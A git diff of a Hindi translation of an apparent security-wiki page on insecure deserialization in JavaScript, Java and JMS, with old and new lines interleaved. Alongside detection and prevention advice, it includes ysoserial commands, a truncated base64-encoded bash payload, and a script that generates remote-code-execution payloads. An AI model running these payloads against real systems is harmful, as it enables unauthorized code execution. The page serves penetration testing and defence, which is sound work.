**funcster** का एक महत्वपूर्ण पहलू **मानक अंतर्निहित वस्तुओं** की अनुपलब्धता है; ये सुलभ दायरे से बाहर हैं। यह प्रतिबंध उन कोड के निष्पादन को रोकता है जो अंतर्निहित वस्तुओं पर विधियों को कॉल करने का प्रयास करते हैं, जिससे `"ReferenceError: console is not defined"` जैसी अपवाद उत्पन्न होते हैं जब `console.log()` या `require(something)` जैसे कमांड का उपयोग किया जाता है।
|
||||
**funcster** का एक महत्वपूर्ण पहलू **मानक अंतर्निर्मित वस्तुओं** की अनुपलब्धता है; ये सुलभ दायरे से बाहर हैं। यह प्रतिबंध उन कोडों के निष्पादन को रोकता है जो अंतर्निर्मित वस्तुओं पर विधियों को कॉल करने का प्रयास करते हैं, जिससे `"ReferenceError: console is not defined"` जैसी अपवाद उत्पन्न होते हैं जब `console.log()` या `require(something)` जैसे कमांड का उपयोग किया जाता है।
|
||||
|
||||
इस सीमा के बावजूद, एक विशिष्ट दृष्टिकोण के माध्यम से वैश्विक संदर्भ तक पूर्ण पहुंच को पुनर्स्थापित करना संभव है, जिसमें सभी मानक अंतर्निहित वस्तुएं शामिल हैं। सीधे वैश्विक संदर्भ का लाभ उठाकर, इस प्रतिबंध को बायपास किया जा सकता है। उदाहरण के लिए, निम्नलिखित स्निपेट का उपयोग करके पहुंच को फिर से स्थापित किया जा सकता है:
|
||||
इस सीमा के बावजूद, एक विशिष्ट दृष्टिकोण के माध्यम से वैश्विक संदर्भ तक पूर्ण पहुंच को पुनर्स्थापित करना संभव है, जिसमें सभी मानक अंतर्निर्मित वस्तुएं शामिल हैं। वैश्विक संदर्भ का सीधे उपयोग करके, इस प्रतिबंध को बायपास किया जा सकता है। उदाहरण के लिए, निम्नलिखित स्निपेट का उपयोग करके पहुंच को फिर से स्थापित किया जा सकता है:
|
||||
```javascript
|
||||
funcster = require("funcster")
|
||||
//Serialization
|
||||
@ -334,7 +334,7 @@ funcster.deepDeserialize(desertest3)
|
||||
|
||||
### [**serialize-javascript**](https://www.npmjs.com/package/serialize-javascript)
|
||||
|
||||
**serialize-javascript** पैकेज विशेष रूप से अनुक्रमण के उद्देश्यों के लिए डिज़ाइन किया गया है, जिसमें कोई अंतर्निहित डीसिरियलाइजेशन क्षमताएँ नहीं हैं। उपयोगकर्ताओं को डीसिरियलाइजेशन के लिए अपनी स्वयं की विधि लागू करने की जिम्मेदारी होती है। अनुक्रमित डेटा को डीसिरियलाइज करने के लिए आधिकारिक उदाहरण द्वारा `eval` का प्रत्यक्ष उपयोग सुझाया गया है:
|
||||
**serialize-javascript** पैकेज विशेष रूप से अनुक्रमण के उद्देश्यों के लिए डिज़ाइन किया गया है, जिसमें कोई अंतर्निहित अव्यवस्थित करने की क्षमताएँ नहीं हैं। उपयोगकर्ता अव्यवस्थित करने के लिए अपनी स्वयं की विधि लागू करने के लिए जिम्मेदार हैं। अनुक्रमित डेटा को अव्यवस्थित करने के लिए आधिकारिक उदाहरण द्वारा `eval` का प्रत्यक्ष उपयोग सुझाया गया है:
|
||||
```javascript
|
||||
function deserialize(serializedJavascript) {
|
||||
return eval("(" + serializedJavascript + ")")
|
||||
@ -380,7 +380,7 @@ Java में, **deserialization callbacks deserialization की प्रक
|
||||
|
||||
- `XMLDecoder` का उपयोग बाहरी उपयोगकर्ताओं द्वारा परिभाषित पैरामीटर के साथ किया गया।
|
||||
- `XStream` का `fromXML` विधि, विशेष रूप से यदि XStream संस्करण 1.46 या उससे कम है, क्योंकि यह serialization समस्याओं के प्रति संवेदनशील है।
|
||||
- `ObjectInputStream` जो `readObject` विधि के साथ जुड़ा हुआ है।
|
||||
- `ObjectInputStream` जो `readObject` विधि के साथ युग्मित है।
|
||||
- `readObject`, `readObjectNodData`, `readResolve`, या `readExternal` जैसी विधियों का कार्यान्वयन।
|
||||
- `ObjectInputStream.readUnshared`।
|
||||
- `Serializable` का सामान्य उपयोग।
|
||||
@ -394,7 +394,7 @@ Java में, **deserialization callbacks deserialization की प्रक
|
||||
- HTTP प्रतिक्रिया हेडर जिनमें `Content-type` `application/x-java-serialized-object` पर सेट है।
|
||||
- पूर्व संकुचन को दर्शाने वाला हेक्साडेसिमल पैटर्न: `1F 8B 08 00`।
|
||||
- पूर्व संकुचन को दर्शाने वाला बेस64 पैटर्न: `H4sIA`।
|
||||
- `.faces` एक्सटेंशन वाले वेब फ़ाइलें और `faces.ViewState` पैरामीटर। इन पैटर्नों की खोज एक वेब एप्लिकेशन में एक परीक्षा का संकेत देती है जैसा कि [Java JSF ViewState Deserialization के बारे में पोस्ट](java-jsf-viewstate-.faces-deserialization.md) में विस्तृत किया गया है।
|
||||
- `.faces` एक्सटेंशन वाले वेब फ़ाइलें और `faces.ViewState` पैरामीटर। इन पैटर्नों की खोज एक वेब एप्लिकेशन में एक परीक्षा का संकेत देनी चाहिए जैसा कि [Java JSF ViewState Deserialization](java-jsf-viewstate-.faces-deserialization.md) के बारे में पोस्ट में विस्तृत किया गया है।
|
||||
```
|
||||
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
|
||||
```
|
||||
@ -411,32 +411,32 @@ grep -R InvokeTransformer .
|
||||
```
|
||||
आप सभी **लाइब्रेरीज़** की जांच करने की कोशिश कर सकते हैं जो ज्ञात हैं कि वे कमजोर हैं और जिनके लिए [**Ysoserial**](https://github.com/frohoff/ysoserial) एक एक्सप्लॉइट प्रदान कर सकता है। या आप [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json) पर निर्दिष्ट लाइब्रेरीज़ की जांच कर सकते हैं।\
|
||||
आप संभावित गेज़ेट चेन की खोज के लिए [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector) का भी उपयोग कर सकते हैं।\
|
||||
जब आप **gadgetinspector** चला रहे हों (इसे बनाने के बाद) तो उन सभी चेतावनियों/त्रुटियों की परवाह न करें जिनसे यह गुजर रहा है और इसे पूरा करने दें। यह सभी निष्कर्ष _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_ के तहत लिखेगा। कृपया ध्यान दें कि **gadgetinspector एक एक्सप्लॉइट नहीं बनाएगा और यह झूठे सकारात्मक संकेत दे सकता है**।
|
||||
जब आप **gadgetinspector** चला रहे हों (इसे बनाने के बाद) तो उन सभी चेतावनियों/त्रुटियों की परवाह न करें जिनसे यह गुजर रहा है और इसे पूरा करने दें। यह सभी निष्कर्षों को _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_ के तहत लिखेगा। कृपया ध्यान दें कि **gadgetinspector एक एक्सप्लॉइट नहीं बनाएगा और यह झूठे सकारात्मक संकेत दे सकता है**।
|
||||
|
||||
#### ब्लैक बॉक्स टेस्ट
|
||||
|
||||
Burp एक्सटेंशन [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md) का उपयोग करके आप **कौन सी लाइब्रेरीज़ उपलब्ध हैं** (और यहां तक कि संस्करण भी) पहचान सकते हैं। इस जानकारी के साथ, **कमजोरी का शोषण करने के लिए एक पेलोड चुनना आसान हो सकता है**।\
|
||||
[**GadgetProbe के बारे में अधिक जानने के लिए इसे पढ़ें**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**।**\
|
||||
[**GadgetProbe के बारे में अधिक जानने के लिए इसे पढ़ें**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**.**\
|
||||
GadgetProbe **`ObjectInputStream` deserializations** पर केंद्रित है।
|
||||
|
||||
Burp एक्सटेंशन [**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner) का उपयोग करके आप **कमजोर लाइब्रेरीज़** की पहचान कर सकते हैं जिन्हें ysoserial के साथ शोषित किया जा सकता है और **उनका शोषण** कर सकते हैं।\
|
||||
[**Java Deserialization Scanner के बारे में अधिक जानने के लिए इसे पढ़ें।**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\
|
||||
Java Deserialization Scanner **`ObjectInputStream`** deserializations पर केंद्रित है।
|
||||
|
||||
आप **Burp** में **deserializations** कमजोरियों का पता लगाने के लिए [**Freddy**](https://github.com/nccgroup/freddy) का भी उपयोग कर सकते हैं। यह प्लगइन **केवल `ObjectInputStream`** से संबंधित कमजोरियों का पता नहीं लगाएगा बल्कि **Json** और **Yml** deserialization लाइब्रेरीज़ से भी कमजोरियों का पता लगाएगा। सक्रिय मोड में, यह नींद या DNS पेलोड का उपयोग करके उन्हें पुष्टि करने की कोशिश करेगा।\
|
||||
आप [**Freddy**](https://github.com/nccgroup/freddy) का भी उपयोग कर सकते हैं **Burp** में **deserializations** कमजोरियों का पता लगाने के लिए। यह प्लगइन **केवल `ObjectInputStream`** से संबंधित कमजोरियों का पता नहीं लगाएगा बल्कि **Json** और **Yml** deserialization लाइब्रेरीज़ से भी कमजोरियों का पता लगाएगा। सक्रिय मोड में, यह नींद या DNS पेलोड का उपयोग करके उन्हें पुष्टि करने की कोशिश करेगा।\
|
||||
[**आप यहां Freddy के बारे में अधिक जानकारी प्राप्त कर सकते हैं।**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/)
|
||||
|
||||
**Serialization Test**
|
||||
**Serialization टेस्ट**
|
||||
|
||||
सिर्फ यह जांचना ही नहीं है कि क्या सर्वर द्वारा कोई कमजोर लाइब्रेरी का उपयोग किया जा रहा है। कभी-कभी आप **serialized object के अंदर डेटा को बदलने और कुछ जांचों को बायपास करने में सक्षम हो सकते हैं** (शायद आपको एक वेब ऐप के अंदर प्रशासनिक विशेषाधिकार प्रदान करें)।\
|
||||
यदि आप एक जावा serialized object को एक वेब एप्लिकेशन में भेजते हुए पाते हैं, तो **आप उपयोग कर सकते हैं** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **जिससे आप भेजे गए serialization object को अधिक मानव-पठनीय प्रारूप में प्रिंट कर सकते हैं**। यह जानना कि आप कौन सा डेटा भेज रहे हैं, इसे संशोधित करना और कुछ जांचों को बायपास करना आसान होगा।
|
||||
यदि आप एक जावा serialized object पाते हैं जो एक वेब एप्लिकेशन को भेजा जा रहा है, तो **आप उपयोग कर सकते हैं** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **जिससे आप भेजे गए serialization object को अधिक मानव-पठनीय प्रारूप में प्रिंट कर सकते हैं**। यह जानना कि आप कौन सा डेटा भेज रहे हैं, इसे संशोधित करना और कुछ जांचों को बायपास करना आसान होगा।
|
||||
|
||||
### **Exploit**
|
||||
### **शोषण**
|
||||
|
||||
#### **ysoserial**
|
||||
|
||||
जावा deserializations का शोषण करने के लिए मुख्य उपकरण [**ysoserial**](https://github.com/frohoff/ysoserial) है ([**यहां डाउनलोड करें**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar))। आप [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified) का उपयोग करने पर भी विचार कर सकते हैं जो आपको जटिल कमांड (उदाहरण के लिए पाइप के साथ) का उपयोग करने की अनुमति देगा।\
|
||||
ध्यान दें कि यह उपकरण **`ObjectInputStream`** के शोषण पर **केंद्रित** है।\
|
||||
ध्यान दें कि यह उपकरण **`ObjectInputStream`** का शोषण करने पर **केंद्रित** है।\
|
||||
मैं **RCE** पेलोड से पहले "URLDNS" पेलोड का उपयोग करना **शुरू करूंगा** यह परीक्षण करने के लिए कि क्या इंजेक्शन संभव है। वैसे भी, ध्यान दें कि शायद "URLDNS" पेलोड काम नहीं कर रहा है लेकिन अन्य RCE पेलोड काम कर रहा है।
|
||||
```bash
|
||||
# PoC to make the application perform a DNS req
|
||||
@ -482,7 +482,7 @@ java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb
|
||||
# Base64 encode payload in base64
|
||||
base64 -w0 payload
|
||||
```
|
||||
जब **java.lang.Runtime.exec()** के लिए एक payload बनाते हैं, तो आप **विशेष वर्ण** जैसे ">" या "|" का उपयोग नहीं कर सकते हैं ताकि निष्पादन का आउटपुट पुनर्निर्देशित किया जा सके, "$()" का उपयोग करके आदेश निष्पादित कर सकें या यहां तक कि **कमांड के लिए तर्क** को **स्पेस** द्वारा अलग कर सकें (आप `echo -n "hello world"` कर सकते हैं लेकिन आप `python2 -c 'print "Hello world"'` नहीं कर सकते)। payload को सही ढंग से एन्कोड करने के लिए, आप [इस वेबपेज](http://www.jackson-t.ca/runtime-exec-payloads.html) का उपयोग कर सकते हैं।
|
||||
जब **java.lang.Runtime.exec()** के लिए एक payload बनाते हैं, तो आप **विशेष वर्ण** जैसे ">" या "|" का उपयोग नहीं कर सकते हैं ताकि निष्पादन का आउटपुट पुनर्निर्देशित किया जा सके, "$()" का उपयोग करके आदेश निष्पादित कर सकें या यहां तक कि **कमांड के लिए तर्क** को **स्पेस** द्वारा अलग कर सकें (आप `echo -n "hello world"` कर सकते हैं लेकिन आप `python2 -c 'print "Hello world"'` नहीं कर सकते)। payload को सही तरीके से एन्कोड करने के लिए आप [इस वेबपेज](http://www.jackson-t.ca/runtime-exec-payloads.html) का उपयोग कर सकते हैं।
|
||||
|
||||
Windows और Linux के लिए **सभी संभावित कोड निष्पादन** payloads बनाने के लिए अगले स्क्रिप्ट का उपयोग करने के लिए स्वतंत्र महसूस करें और फिर उन्हें कमजोर वेब पृष्ठ पर परीक्षण करें:
|
||||
```python
|
||||
@ -507,12 +507,12 @@ generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
|
||||
```
|
||||
#### serialkillerbypassgadgets
|
||||
|
||||
आप **इसका उपयोग कर सकते हैं** [**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection) **अधिक एक्सप्लॉइट बनाने के लिए ysoserial के साथ**। इस टूल के बारे में अधिक जानकारी **टॉक की स्लाइड्स** में है जहाँ टूल प्रस्तुत किया गया था: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1)
|
||||
आप **इसका उपयोग कर सकते हैं** [**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection) **ysoserial के साथ अधिक एक्सप्लॉइट बनाने के लिए**। इस टूल के बारे में अधिक जानकारी **टॉक की स्लाइड्स** में है जहाँ टूल प्रस्तुत किया गया था: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1)
|
||||
|
||||
#### marshalsec
|
||||
|
||||
[**marshalsec** ](https://github.com/mbechler/marshalsec) का उपयोग विभिन्न **Json** और **Yml** सीरियलाइजेशन लाइब्रेरीज़ को एक्सप्लॉइट करने के लिए पेलोड्स उत्पन्न करने के लिए किया जा सकता है।\
|
||||
प्रोजेक्ट को संकलित करने के लिए मुझे `pom.xml` में ये **dependencies** **जोड़ने** की आवश्यकता थी:
|
||||
[**marshalsec** ](https://github.com/mbechler/marshalsec) का उपयोग विभिन्न **Json** और **Yml** सीरियलाइजेशन लाइब्रेरीज़ को एक्सप्लॉइट करने के लिए पेलोड बनाने के लिए किया जा सकता है।\
|
||||
प्रोजेक्ट को संकलित करने के लिए मुझे `pom.xml` में ये **dependencies** **जोड़नी थीं**:
|
||||
```html
|
||||
<dependency>
|
||||
<groupId>javax.activation</groupId>
|
||||
@ -545,26 +545,26 @@ mvn clean package -DskipTests
|
||||
|
||||
Java विभिन्न उद्देश्यों के लिए बहुत सारी serialization का उपयोग करता है जैसे:
|
||||
|
||||
- **HTTP requests**: Serialization का व्यापक रूप से प्रबंधन में उपयोग किया जाता है जैसे कि parameters, ViewState, cookies, आदि।
|
||||
- **HTTP requests**: Serialization का व्यापक रूप से प्रबंधन के लिए उपयोग किया जाता है जैसे कि parameters, ViewState, cookies, आदि।
|
||||
- **RMI (Remote Method Invocation)**: Java RMI प्रोटोकॉल, जो पूरी तरह से serialization पर निर्भर करता है, Java अनुप्रयोगों में दूरस्थ संचार के लिए एक आधारशिला है।
|
||||
- **RMI over HTTP**: यह विधि Java-आधारित मोटे क्लाइंट वेब अनुप्रयोगों द्वारा सामान्यतः उपयोग की जाती है, जो सभी ऑब्जेक्ट संचार के लिए serialization का उपयोग करती है।
|
||||
- **JMX (Java Management Extensions)**: JMX नेटवर्क पर ऑब्जेक्ट्स को संचारित करने के लिए serialization का उपयोग करता है।
|
||||
- **Custom Protocols**: Java में, मानक प्रथा कच्चे Java ऑब्जेक्ट्स के संचारण में शामिल होती है, जिसे आगामी exploit उदाहरणों में प्रदर्शित किया जाएगा।
|
||||
- **JMX (Java Management Extensions)**: JMX नेटवर्क पर ऑब्जेक्ट्स को भेजने के लिए serialization का उपयोग करता है।
|
||||
- **Custom Protocols**: Java में, मानक प्रथा कच्चे Java ऑब्जेक्ट्स के संचरण में शामिल होती है, जिसे आगामी exploit उदाहरणों में प्रदर्शित किया जाएगा।
|
||||
|
||||
### Prevention
|
||||
|
||||
#### Transient objects
|
||||
|
||||
एक क्लास जो `Serializable` को लागू करती है, उस क्लास के अंदर किसी भी ऑब्जेक्ट को `transient` के रूप में लागू कर सकती है जिसे serializable नहीं होना चाहिए। उदाहरण:
|
||||
एक वर्ग जो `Serializable` को लागू करता है, वह वर्ग के अंदर किसी भी ऑब्जेक्ट को `transient` के रूप में लागू कर सकता है जिसे serializable नहीं होना चाहिए। उदाहरण:
|
||||
```java
|
||||
public class myAccount implements Serializable
|
||||
{
|
||||
private transient double profit; // declared transient
|
||||
private transient double margin; // declared transient
|
||||
```
|
||||
#### एक क्लास के Serialization से बचें जिसे Serializable लागू करने की आवश्यकता है
|
||||
#### एक क्लास के Serialization से बचें जिसे Serializable को लागू करने की आवश्यकता है
|
||||
|
||||
उन परिदृश्यों में जहां कुछ **ऑब्जेक्ट्स को क्लास हायरार्की के कारण `Serializable`** इंटरफेस लागू करना चाहिए, अनजाने में deserialization का जोखिम होता है। इसे रोकने के लिए, सुनिश्चित करें कि ये ऑब्जेक्ट्स non-deserializable हैं, एक `final` `readObject()` मेथड को परिभाषित करके जो लगातार एक अपवाद फेंकता है, जैसा कि नीचे दिखाया गया है:
|
||||
उन परिदृश्यों में जहां कुछ **ऑब्जेक्ट्स को क्लास हायरार्की के कारण `Serializable`** इंटरफेस को लागू करना चाहिए, अनजाने में deserialization का जोखिम होता है। इसे रोकने के लिए, सुनिश्चित करें कि ये ऑब्जेक्ट्स non-deserializable हैं, एक `final` `readObject()` मेथड को परिभाषित करके जो लगातार एक अपवाद फेंकता है, जैसा कि नीचे दिखाया गया है:
|
||||
```java
|
||||
private final void readObject(ObjectInputStream in) throws java.io.IOException {
|
||||
throw new java.io.IOException("Cannot be deserialized");
|
||||
@ -572,12 +572,12 @@ throw new java.io.IOException("Cannot be deserialized");
|
||||
```
|
||||
#### **Java में Deserialization सुरक्षा बढ़ाना**
|
||||
|
||||
**`java.io.ObjectInputStream`** को कस्टमाइज़ करना deserialization प्रक्रियाओं को सुरक्षित करने के लिए एक व्यावहारिक दृष्टिकोण है। यह विधि तब उपयुक्त है जब:
|
||||
**`java.io.ObjectInputStream`** को अनुकूलित करना deserialization प्रक्रियाओं को सुरक्षित करने के लिए एक व्यावहारिक दृष्टिकोण है। यह विधि तब उपयुक्त है जब:
|
||||
|
||||
- Deserialization कोड आपके नियंत्रण में है।
|
||||
- Deserialization के लिए अपेक्षित कक्षाएँ ज्ञात हैं।
|
||||
- Deserialization के लिए अपेक्षित कक्ष ज्ञात हैं।
|
||||
|
||||
**`resolveClass()`** विधि को ओवरराइड करें ताकि deserialization केवल अनुमत कक्षाओं तक सीमित हो। यह किसी भी कक्षा के deserialization को रोकता है सिवाय उन कक्षाओं के जो स्पष्ट रूप से अनुमति दी गई हैं, जैसे कि निम्नलिखित उदाहरण में जो deserialization को केवल `Bicycle` कक्षा तक सीमित करता है:
|
||||
**`resolveClass()`** विधि को ओवरराइड करें ताकि deserialization केवल अनुमत कक्षों तक सीमित हो सके। यह किसी भी कक्षा के deserialization को रोकता है सिवाय उन कक्षों के जो स्पष्ट रूप से अनुमत हैं, जैसे कि निम्नलिखित उदाहरण में जो deserialization को केवल `Bicycle` कक्षा तक सीमित करता है:
|
||||
```java
|
||||
// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
|
||||
public class LookAheadObjectInputStream extends ObjectInputStream {
|
||||
@ -620,11 +620,11 @@ return Status.ALLOWED;
|
||||
};
|
||||
ObjectInputFilter.Config.setSerialFilter(filter);
|
||||
```
|
||||
**बाहरी पुस्तकालयों का लाभ उठाना सुरक्षा को बढ़ाने के लिए**: पुस्तकालय जैसे **NotSoSerial**, **jdeserialize**, और **Kryo** जावा डीसिरियलाइजेशन को नियंत्रित और मॉनिटर करने के लिए उन्नत सुविधाएँ प्रदान करते हैं। ये पुस्तकालय अतिरिक्त सुरक्षा परतें प्रदान कर सकते हैं, जैसे कि कक्षाओं की व्हाइटलिस्टिंग या ब्लैकलिस्टिंग, डीसिरियलाइजेशन से पहले सीरियलाइज्ड ऑब्जेक्ट्स का विश्लेषण करना, और कस्टम सीरियलाइजेशन रणनीतियों को लागू करना।
|
||||
**बाहरी पुस्तकालयों का लाभ उठाना सुरक्षा को बढ़ाने के लिए**: पुस्तकालय जैसे **NotSoSerial**, **jdeserialize**, और **Kryo** जावा डीसिरियलाइजेशन को नियंत्रित और मॉनिटर करने के लिए उन्नत सुविधाएँ प्रदान करते हैं। ये पुस्तकालय अतिरिक्त सुरक्षा परतें प्रदान कर सकते हैं, जैसे कि कक्षाओं की व्हाइटलिस्टिंग या ब्लैकलिस्टिंग, डीसिरियलाइजेशन से पहले अनुक्रमित वस्तुओं का विश्लेषण करना, और कस्टम अनुक्रमण रणनीतियों को लागू करना।
|
||||
|
||||
- **NotSoSerial** डीसिरियलाइजेशन प्रक्रियाओं को रोकता है ताकि अविश्वसनीय कोड का निष्पादन न हो सके।
|
||||
- **jdeserialize** बिना डीसिरियलाइज किए सीरियलाइज्ड जावा ऑब्जेक्ट्स का विश्लेषण करने की अनुमति देता है, जिससे संभावित रूप से दुर्भावनापूर्ण सामग्री की पहचान करने में मदद मिलती है।
|
||||
- **Kryo** एक वैकल्पिक सीरियलाइजेशन ढांचा है जो गति और दक्षता पर जोर देता है, जो कॉन्फ़िगर करने योग्य सीरियलाइजेशन रणनीतियाँ प्रदान करता है जो सुरक्षा को बढ़ा सकती हैं।
|
||||
- **jdeserialize** अनुक्रमित जावा वस्तुओं का विश्लेषण करने की अनुमति देता है बिना उन्हें डीसिरियलाइज किए, संभावित रूप से दुर्भावनापूर्ण सामग्री की पहचान करने में मदद करता है।
|
||||
- **Kryo** एक वैकल्पिक अनुक्रमण ढांचा है जो गति और दक्षता पर जोर देता है, कॉन्फ़िगर करने योग्य अनुक्रमण रणनीतियाँ प्रदान करता है जो सुरक्षा को बढ़ा सकती हैं।
|
||||
|
||||
### संदर्भ
|
||||
|
||||
@ -642,7 +642,7 @@ ObjectInputFilter.Config.setSerialFilter(filter);
|
||||
|
||||
## JNDI इंजेक्शन और log4Shell
|
||||
|
||||
जानें कि **JNDI इंजेक्शन क्या है, इसे RMI, CORBA और LDAP के माध्यम से कैसे दुरुपयोग किया जा सकता है और log4shell का शोषण कैसे किया जा सकता है** (और इस कमजोरियों का उदाहरण) निम्नलिखित पृष्ठ में:
|
||||
जानें कि **JNDI इंजेक्शन क्या है, इसे RMI, CORBA और LDAP के माध्यम से कैसे दुरुपयोग किया जा सकता है और log4shell का शोषण कैसे किया जा सकता है** (और इस भेद्यता का उदाहरण) निम्नलिखित पृष्ठ में:
|
||||
|
||||
{{#ref}}
|
||||
jndi-java-naming-and-directory-interface-and-log4shell.md
|
||||
@ -650,11 +650,11 @@ jndi-java-naming-and-directory-interface-and-log4shell.md
|
||||
|
||||
## JMS - जावा संदेश सेवा
|
||||
|
||||
> **जावा संदेश सेवा** (**JMS**) API एक जावा संदेश-उन्मुख मिडलवेयर API है जो दो या अधिक क्लाइंट के बीच संदेश भेजने के लिए है। यह उत्पादक-उपभोक्ता समस्या को संभालने के लिए एक कार्यान्वयन है। JMS जावा प्लेटफ़ॉर्म, एंटरप्राइज संस्करण (Java EE) का एक हिस्सा है, और इसे सन माइक्रोसिस्टम्स द्वारा विकसित एक विनिर्देशन द्वारा परिभाषित किया गया था, लेकिन जिसे बाद में जावा समुदाय प्रक्रिया द्वारा मार्गदर्शित किया गया है। यह एक संदेश मानक है जो जावा EE पर आधारित अनुप्रयोग घटकों को संदेश बनाने, भेजने, प्राप्त करने और पढ़ने की अनुमति देता है। यह एक वितरित अनुप्रयोग के विभिन्न घटकों के बीच संचार को ढीला, विश्वसनीय और असिंक्रोनस बनाता है। (स्रोत [विकिपीडिया](https://en.wikipedia.org/wiki/Java_Message_Service))।
|
||||
> **जावा संदेश सेवा** (**JMS**) API एक जावा संदेश-उन्मुख मध्यवर्ती API है जो दो या अधिक ग्राहकों के बीच संदेश भेजने के लिए है। यह उत्पादक-उपभोक्ता समस्या को संभालने के लिए एक कार्यान्वयन है। JMS जावा प्लेटफ़ॉर्म, एंटरप्राइज संस्करण (Java EE) का एक हिस्सा है, और इसे सन माइक्रोसिस्टम्स द्वारा विकसित एक विनिर्देशन द्वारा परिभाषित किया गया था, लेकिन जिसे बाद में जावा समुदाय प्रक्रिया द्वारा मार्गदर्शित किया गया है। यह एक संदेश मानक है जो जावा EE पर आधारित अनुप्रयोग घटकों को संदेश बनाने, भेजने, प्राप्त करने और पढ़ने की अनुमति देता है। यह एक वितरित अनुप्रयोग के विभिन्न घटकों के बीच संचार को ढीला, विश्वसनीय और असिंक्रोनस बनाता है। (स्रोत [विकिपीडिया](https://en.wikipedia.org/wiki/Java_Message_Service))।
|
||||
|
||||
### उत्पाद
|
||||
|
||||
इस मिडलवेयर का उपयोग करके संदेश भेजने वाले कई उत्पाद हैं:
|
||||
इस मध्यवर्ती का उपयोग करके संदेश भेजने वाले कई उत्पाद हैं:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -662,12 +662,12 @@ jndi-java-naming-and-directory-interface-and-log4shell.md
|
||||
|
||||
### शोषण
|
||||
|
||||
तो, मूल रूप से, **JMS का उपयोग करने वाली कई सेवाएँ खतरनाक तरीके से हैं**। इसलिए, यदि आपके पास इन सेवाओं को संदेश भेजने के लिए **पर्याप्त विशेषाधिकार** हैं (आमतौर पर आपको मान्य क्रेडेंशियल की आवश्यकता होगी) तो आप **दुर्भावनापूर्ण ऑब्जेक्ट्स को सीरियलाइज कर सकते हैं जो उपभोक्ता/सदस्य द्वारा डीसिरियलाइज किए जाएंगे**।\
|
||||
इसका मतलब है कि इस शोषण में सभी **क्लाइंट जो उस संदेश का उपयोग करने जा रहे हैं संक्रमित हो जाएंगे**।
|
||||
तो, मूल रूप से, **JMS का उपयोग करने वाली कई सेवाएँ खतरनाक तरीके से हैं**। इसलिए, यदि आपके पास इन सेवाओं को संदेश भेजने के लिए **पर्याप्त विशेषाधिकार** हैं (आमतौर पर आपको मान्य क्रेडेंशियल्स की आवश्यकता होगी) तो आप **दुर्भावनापूर्ण वस्तुएँ भेजने में सक्षम हो सकते हैं जो उपभोक्ता/सदस्य द्वारा डीसिरियलाइज की जाएंगी**।\
|
||||
इसका मतलब है कि इस शोषण में सभी **ग्राहक जो उस संदेश का उपयोग करने जा रहे हैं संक्रमित हो जाएंगे**।
|
||||
|
||||
आपको याद रखना चाहिए कि भले ही कोई सेवा कमजोर हो (क्योंकि यह उपयोगकर्ता इनपुट को असुरक्षित रूप से डीसिरियलाइज कर रही है) आपको अभी भी कमजोरियों का शोषण करने के लिए मान्य गैजेट्स खोजने की आवश्यकता है।
|
||||
आपको याद रखना चाहिए कि भले ही कोई सेवा कमजोर हो (क्योंकि यह उपयोगकर्ता इनपुट को असुरक्षित रूप से डीसिरियलाइज कर रही है) आपको अभी भी भेद्यता का शोषण करने के लिए मान्य गैजेट्स खोजने की आवश्यकता है।
|
||||
|
||||
उपकरण [JMET](https://github.com/matthiaskaiser/jmet) को **इन सेवाओं से कनेक्ट और हमला करने के लिए बनाया गया था, जो ज्ञात गैजेट्स का उपयोग करके कई दुर्भावनापूर्ण ऑब्जेक्ट्स को सीरियलाइज करते हैं**। ये शोषण तब काम करेंगे जब सेवा अभी भी कमजोर हो और यदि उपयोग किए गए गैजेट्स में से कोई भी कमजोर एप्लिकेशन के अंदर हो।
|
||||
उपकरण [JMET](https://github.com/matthiaskaiser/jmet) को **इन सेवाओं पर हमला करने और कई दुर्भावनापूर्ण वस्तुएँ भेजने के लिए बनाया गया है जो ज्ञात गैजेट्स का उपयोग करके अनुक्रमित हैं**। ये शोषण तब काम करेंगे जब सेवा अभी भी कमजोर हो और यदि उपयोग किए गए गैजेट्स में से कोई भी कमजोर अनुप्रयोग के अंदर हो।
|
||||
|
||||
### संदर्भ
|
||||
|
||||
@ -678,7 +678,7 @@ jndi-java-naming-and-directory-interface-and-log4shell.md
|
||||
|
||||
## .Net
|
||||
|
||||
. Net के संदर्भ में, डीसिरियलाइजेशन शोषण जावा में पाए जाने वाले तरीकों के समान काम करते हैं, जहां गैजेट्स का शोषण ऑब्जेक्ट के डीसिरियलाइजेशन के दौरान विशिष्ट कोड चलाने के लिए किया जाता है।
|
||||
